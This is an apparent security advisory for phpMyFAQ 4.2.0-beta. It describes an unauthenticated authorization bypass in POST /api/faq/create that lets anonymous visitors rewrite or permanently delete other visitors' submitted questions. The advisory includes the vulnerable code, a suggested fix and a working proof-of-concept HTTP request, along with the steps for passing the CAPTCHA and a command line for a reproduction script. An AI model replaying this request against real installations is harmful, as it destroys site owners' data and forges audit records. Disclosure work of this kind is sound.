phpmyfaq: Unauthenticated object-level authorization bypass in POST /api/faq/create (openQuestionID): rewrite (7.5) or delete (9.1) any visitor question
What fixes it
- 4.1.10phpmyfaqGitHub
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
POST /api/faq/create accepts a client-supplied openQuestionID, casts it to an integer and then uses it directly as the WHERE key of a write against the faqquestions table - with no ownership check, no visibility check and no permission check.
Any anonymous visitor who solves the graphical CAPTCHA can therefore rewrite any visitor-submitted question: its category and its "answered" link are overwritten, and an "answered" entry is forged in faqquestion_history with an attacker-chosen user name.
With the administrator option records.enableDeleteQuestion enabled, the very same request permanently deletes the targeted question instead - no soft delete, no revision trail for questions, unrecoverable without a database backup.
Severity:
- shipped default configuration: CVSS 3.1 7.5 High -
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - with
records.enableDeleteQuestion = true: CVSS 3.1 9.1 Critical -CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
No account, no CSRF token and no user interaction are required. Verified against phpMyFAQ 4.2.0-beta (development-nightly-2026-09-22) on 2026-10-08, and the vulnerable code is still unchanged in main @ ffc4e50 (2026-10-07). No CVE ID and no GitHub Security Advisory covers this issue as of 2026-10-08.
Details
Affected code
phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/FaqController.php, method create() (route POST /api/faq/create), lines 200-229 in main @ ffc4e50:
$openQuestionId = property_exists($data, 'openQuestionID')
? Filter::filterVar($data->openQuestionID, FILTER_VALIDATE_INT) // :201 integer cast only
: false;
if ($openQuestionId) { // :203 no ownership /
// visibility /
// permission check
try {
$this->questionHistory->add(new QuestionHistoryEntity( // :205 forged audit row
questionId: (int) $openQuestionId,
questionLanguage: $faqEntity->getLanguage(),
eventType: QuestionHistoryEventType::Answered,
userId: $this->currentUser->getUserId(),
username: $this->currentUser->getLogin() !== ''
? $this->currentUser->getLogin()
: $faqEntity->getAuthor(), // :210-212 attacker-controlled
faqId: (int) $recordId,
));
} catch (InvalidArgumentException $exception) { /* ... */ }
if ($this->configuration->get(item: 'records.enableDeleteQuestion')) {
$this->question->delete($openQuestionId); // :222 -> DELETE
}
if (!$this->configuration->get(item: 'records.enableDeleteQuestion')) {
$this->question->updateQuestionAnswer(
(int) $openQuestionId, (int) $recordId, (int) $categories[0] // :227 -> UPDATE
);
}
}The identifier is never compared against the requesting session, never checked against faqquestions.is_visible, and never checked against the caller's permissions. Only an integer cast is applied.
The two sinks
phpmyfaq/src/phpMyFAQ/Question/QuestionRepository.php:229-240
UPDATE %sfaqquestions SET answer_id = %d, category_id = %d WHERE id = %d
phpmyfaq/src/phpMyFAQ/Question/QuestionRepository.php:67-78
DELETE FROM %sfaqquestions WHERE id = %d AND lang = '%s'
Both use the attacker-supplied identifier as the WHERE key. Neither carries an answer_id, is_visible or ownership predicate. Question::delete() is reachable from the public controller via Question.php:54-57.
Why the existing guards do not help
- The only gate in front of the block is
isAddingFaqsAllowed()(FaqController.php:280-285), which is a feature switch, not an authorization control.records.allowNewFaqsForGuestsdefaults totrue(Setup/Installation/DefaultDataSeeder.php:176), so on a stock installation anonymous visitors pass it. - The endpoint does not verify a CSRF token at all.
- The graphical CAPTCHA (
AbstractController.php:610-623) is an anti-automation measure; it is not part of the authorization model. property_exists()is case-sensitive for PHP object properties, so the parameter must be spelled exactlyopenQuestionID(capital D) and must not be0. The real front-end JavaScript sendsopenQuestionIdon the update path, which is why this defect is easy to miss in manual testing.
Severity depends on one administrator checkbox
records.enableDeleteQuestion = false(shipped default,DefaultDataSeeder.php:172) -> theUPDATEbranch -> CVSS 7.5 High,AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N.records.enableDeleteQuestion = true-> theDELETEbranch -> CVSS 9.1 Critical,AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H.
The option is an ordinary checkbox labelled "Delete open question after answer?" (phpmyfaq/translations/language_en.php:1028). It is a content-hygiene setting with no security semantics - nothing in the label or the surrounding configuration page suggests that enabling it changes the authorization model or exposes a destructive primitive to anonymous visitors. The vulnerable state is therefore one administrator click away from the shipped default, and an operator has a legitimate, non-security reason to choose it.
The lang filter of the DELETE is attacker-controlled
Question::delete() passes the current request language (Question.php:54-57), and FaqController.php:81-83 resolves that language with setLanguageWithDetection() because main.languageDetection defaults to true (DefaultDataSeeder.php:122). The attacker therefore chooses the language simply by requesting one first. Verified on the target:
victim row: 7 en hr-boss 1 N 0
POST /api/faq/create?lang=de -> HTTP/1.1 200 OK {"success":"Vielen Dank f\u00fcr diesen Vorschlag!"}
SELECT COUNT(*) FROM faqquestions; = 1 (no match, row survives)
POST /api/faq/create?lang=en -> HTTP/1.1 200 OK {"success":"Thank you for your suggestion!"}
SELECT COUNT(*) FROM faqquestions; = 0 (row deleted)The localized success message in the first attempt is itself proof that the attacker's language choice reached the server.
The same capability is properly authorized elsewhere
Controller/Administration/Api/QuestionController.php requires an admin session, a CSRF token and PermissionType::QUESTION_DELETE. The public open-questions list only exposes rows with is_visible = 'Y' (Helper/QuestionHelper.php). Operating on an open question chosen by its ID was therefore never meant to be reachable without a session - the front-end controller simply lost the check.
Verification status (2026-10-08)
main@ffc4e50cc385ec9c684a9434e7fc7b500098490e(version 4.2.0-beta, 2026-10-07): lines 200-229 unchanged -> still vulnerable.4.1-nightly-2026-10-07: same code (file sha534ae29b).- The only commits touching that file since 2026-09-22 are
b003d042and2ab81b8164, bothchore(mago)refactors that do not modify the authorization logic. - Existing CVEs checked: CVE-2026-56736, CVE-2026-56737, CVE-2026-56738, CVE-2026-76214, CVE-2026-46366, CVE-2026-49205 - different components and root causes. None of the repository's published advisories covers this issue.
Suggested fix
$openQuestionId = Filter::filterVar($data->openQuestionID ?? null, FILTER_VALIDATE_INT);
if ($openQuestionId) {
// (a) the referenced question must exist
$question = $this->question->get($openQuestionId); // [] when the id is unknown
if ($question === []) {
return $this->json(['error' => Translation::get(key: 'ad_msg_noauth')],
Response::HTTP_FORBIDDEN);
}
// (b) the caller must be allowed to answer *this* question: either it is the question
// this very session submitted (bound by a one-time token), or the caller holds the
// permission to work on other people's questions.
$sessionClaim = (string) $this->session->get('pmf-open-question-' . $openQuestionId);
$isOwnQuestion = $sessionClaim !== ''
&& hash_equals($sessionClaim, (string) ($data->claimToken ?? ''));
$mayAnswerOthers = $this->currentUser->perm->hasPermission(
$this->currentUser->getUserId(),
PermissionType::QUESTION_ADD->value,
);
if (!$isOwnQuestion && !$mayAnswerOthers) {
return $this->json(['error' => Translation::get(key: 'ad_msg_noauth')],
Response::HTTP_FORBIDDEN);
}
// (c) keep the history entry and the answer link, but never delete from a public route:
// drop the records.enableDeleteQuestion branch entirely.
}Deletion should stay behind PermissionType::QUESTION_DELETE in Controller/Administration/Api/QuestionController.php. The same object-level check should be applied to every public write endpoint that accepts a client-supplied identifier (Controller/Frontend/Api/**), and the existing RateLimiter (already used by Frontend/Api/QuestionController.php) should be put in front of /api/faq/create.
A full report with annotated screenshots and raw HTTP evidence is available; I can attach it if useful.
Proof of concept
Preconditions (all shipped defaults)
records.allowNewFaqsForGuests = true(default)spam.enableCaptchaCode = true(default) - the CAPTCHA is an anti-automation measure, not an authorization control- a victim open question exists (the normal state of any FAQ site; visitors submit via
/add-question.html) - for the 9.1 variant only:
records.enableDeleteQuestion = true
Seed a victim question that is hidden from the public (is_visible = 'N', so the attacker cannot see it anywhere in the UI):
INSERT INTO faqquestions (id, lang, username, email, category_id, question, created, is_visible, answer_id)
VALUES (7, 'en', 'hr-boss', 'hr@example.org', 1, 'Confidential: pending salary review',
20260923000000, 'N', 0);Step 1 - anonymous session and CAPTCHA
GET /api/captcha -> HTTP/1.1 200 OK, Content-Type: image/jpeg. Read the six characters (manually or by OCR).
Step 2 - the anonymous request
No cookies other than an anonymous PHPSESSID, and no CSRF token:
POST /api/faq/create HTTP/1.1
Host: <target>
Content-Type: application/json
Cookie: PHPSESSID=<anonymous session>
Content-Length: 350
{"captcha": "<code>", "openQuestionID": "7", "revisionId": "0", "faqId": "0", "question": "Attacker controlled FAQ", "answer": "Attacker controlled answer", "name": "attacker", "email": "attacker@evil.example", "keywords": "poc", "rubrik": "2", "grouppermission": "all", "userpermission": "restricted", "restricted_users": "1", "status": "published"}Response:
HTTP/1.1 200 OK
Content-Type: application/json
{"success":"Thank you for your suggestion!"}Step 3 - result with the shipped default (records.enableDeleteQuestion = false, CVSS 7.5)
before: 7 en hr-boss category_id=1 is_visible=N answer_id=0 after: 7 en hr-boss category_id=2 is_visible=N answer_id=1 audit row written by the same anonymous request: 1 7 answered -1 attacker 1 20261008133652
Observable in the backend: on Admin -> Questions the heading above the victim's question text changes from category 1 to category 2, and Admin -> Questions -> History (/admin/questions/history/7) gains an answered / attacker entry. The attacker's draft FAQ also appears under Admin -> FAQs.
Note the row does not disappear from the open-questions list: that list has no answer_id filter (QuestionRepository::getAll(), lines 129-173) and, with the default records.enableCloseQuestion = false, its action button is built from question.id rather than answerId (assets/templates/admin/content/open-questions.twig:66).
Step 3' - result with records.enableDeleteQuestion = true (CVSS 9.1)
The request is byte-for-byte the same and the response is byte-identical. Afterwards:
SELECT COUNT(*) FROM faqquestions; -> 0 Admin -> Questions renders 0 rows. the forged audit row survives the deletion: 1 7 answered -1 attacker 1 20261008140730
There is no soft delete and no revision table for questions, so the destroyed content is unrecoverable without a database backup. Because ids are small sequential integers, the whole queue can be enumerated and emptied, one anonymous request per row.
Reproduction script
I can provide a dependency-free Python 3 script (~250 lines, standard library only, pure HTTP client - no account, no CSRF token, no database access) that performs the above and prints the full raw request/response pair. It is run as:
python3 poc_openquestion_idor.py --url https://<target> --question-id 7 --category-id 2 --insecure
Happy to attach it, or I can place it in a gist - just say which you prefer.
Impact
A remote, unauthenticated attacker can modify or permanently destroy any visitor-submitted question in the installation.
Integrity (High) - any row of faqquestions can be rewritten: its category and its "answered" link. Visitors' questions are silently re-filed under an attacker-chosen category and recorded as answered by an unrelated FAQ, so the moderation queue shows a falsified state. The same request writes an answered entry into faqquestion_history with an attacker-chosen username, so a named employee can be made to appear as the person who answered a question. The entry survives even if the question is later deleted.
**Availability (High when records.enableDeleteQuestion = true)** - the targeted question is deleted outright. There is no soft delete and no revision trail for questions, so it is unrecoverable without a database backup. Question ids are small sequential integers, so the entire question queue of the installation can be enumerated and emptied with one anonymous request per row. The victim and the administrators receive no notification.
Confidentiality - none through this vector.
Who is affected - every phpMyFAQ 4.2.0-beta installation (and the 4.1 nightly) with records.allowNewFaqsForGuests = true, which is the shipped default; the 7.5 case therefore applies out of the box. Deployments that enabled the "Delete open question after answer?" option are exposed to the 9.1 case, where any visitor question - including ones deliberately hidden from the public (is_visible = 'N') - can be destroyed anonymously and irreversibly.
For any site that uses the ask-a-question workflow as a support or contact intake, the intake channel can be wiped anonymously.
Text from GitHub Advisory Database
Affected versions 1
- phpmyfaq<= 4.2.0-betaGitHub